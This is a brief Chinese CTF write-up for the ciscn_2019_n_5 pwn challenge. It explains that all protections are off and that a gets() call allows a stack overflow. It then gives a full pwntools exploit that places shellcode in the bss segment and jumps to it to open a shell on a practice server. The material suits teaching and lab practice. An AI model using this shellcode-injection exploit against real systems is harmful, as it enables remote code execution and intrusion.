ciscn_2019_n_5
使用checksec
查看:
保护都关闭的状态。
放进IDA中分析:
read(0, name, 0x64uLL);
:往变量name
中写入数据,name
在bss段上。地址为:0x601080
gets(text, name);
:存在栈溢出。
题目思路
- 保护全关,且bss段可写可执行。
- 把shellcode写入bss段上。
- 通过栈溢出跳到shellcode处执行getshell。
步骤解析
无需
完整exp
from pwn import *
#start
r = remote("node4.buuoj.cn",27504)
# r = process("../buu/ciscn_2019_n_5")
context(arch='amd64',os='linux')
#params
flag_addr = 0x601080
shellcode = asm(shellcraft.sh())
#attack
payload = b'M'*(0x20+8) + p64(0x601080)
r.recvline()
r.sendline(shellcode)
r.recvline()
r.recvline()
r.sendline(payload)
r.interactive()